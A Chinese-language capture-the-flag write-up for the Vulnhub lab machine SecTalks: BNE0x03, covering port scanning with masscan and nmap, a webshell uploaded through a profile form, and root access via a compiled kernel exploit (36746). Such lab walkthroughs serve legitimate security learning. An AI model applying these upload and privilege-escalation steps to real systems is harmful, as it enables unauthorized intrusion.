Vulnhub靶机系列:SecTalks: BNE0x03

这次的靶机是vulnhub靶机：SecTalks: BNE0x03 - Simple

文章目录

靶机地址及相关描述
- 靶机地址
- 靶机描述
- - Simple CTF
  - Location
  - Hints
靶机设置
利用知识及工具
信息收集并getshell
提权
总结

靶机地址及相关描述

靶机地址

https://www.vulnhub.com/entry/sectalks-bne0x03-simple,141/

靶机描述

Simple CTF

Simple CTF is a boot2root that focuses on the basics of web based hacking. Once you load the VM, treat it as a machine you can see on the network, i.e. you don’t have physical access to this machine. Therefore, tricks like editing the VM’s BIOS or Grub configuration are not allowed. Only remote attacks are permitted. /root/flag.txt is your ultimate goal.
I suggest you use VirtualBox or VMWare Player with a Host Only adapter. The VM will assign itself an IP address through DHCP.

Location

https://www.dropbox.com/s/9spf5m9l87zjlps/Simple.ova?dl=0 [File size: 600MB]

Hints

Get a user shell by uploading a reverse shell and executing it.
A proxy may help you to upload the file you want, rather than the
file that the server expects.
There are 3 known privesc exploits that work. Some people have had
trouble executing one of them unless it was over a reverse shell
using a netcat listener.

Contact @RobertWinkel for more hints.

Requires VirtualBox Extension Pack.

靶机设置

老规矩了，导入虚拟机，开启前换一块kali相同的网卡，然后确认虚拟机正常

我这里靶机的ip是192.168.190.193

利用知识及工具

nc、文件上传、Linux内核提权

信息收集并getshell

看下主页，大概是个登录页面，除此之外是个cms叫cutephp

查了下已知的漏洞，发现这个版本号的cms没有漏洞
扫下目录，发现了个upload目录，可能和暗示里的有关系

快速扫描端口

masscan -p1-65535 192.168.190.193 --rate=1000 -e eth0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -A -sV -sC -p$ports 192.168.190.193

或者

masscan -p1-65535 192.168.190.193 --rate=1000 -e eth0 > ports
ports=$(nmap -p- --min-rate=1000 -sT -T4 192.168.190.193 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports -sT 192.168.190.193

nikto扫描一下，扫skins目录时发现几个cve，试一试

发现只是个信息泄露的漏洞
回到网站功能，注册一个账户登录，，
然后发现可以修改个人信息，传个冰蝎的shell，然后看下upload目录下有无东西，发现果然有，，，然后冰蝎连接

提权

看下内核版本uname -r
找到一堆exp，试了几个，

最后用的36746
编译执行

$ gcc -static 36746.c
36746.c:17:3: warning: #warning this file must be compiled with -static [-Wcpp]# warning this file must be compiled with -static^
$ ls
36746.c  a.out  exp  exp.c  expl  ns_sploit  ofs
$ ./a.out
uid=0(root) gid=33(www-data) groups=0(root),33(www-data)

总结

提权真的，太一言难尽了，其实花了很久，也没有实现hint里的多种提权，但是没有多大意义的时间浪费了，改天收集点提权脚本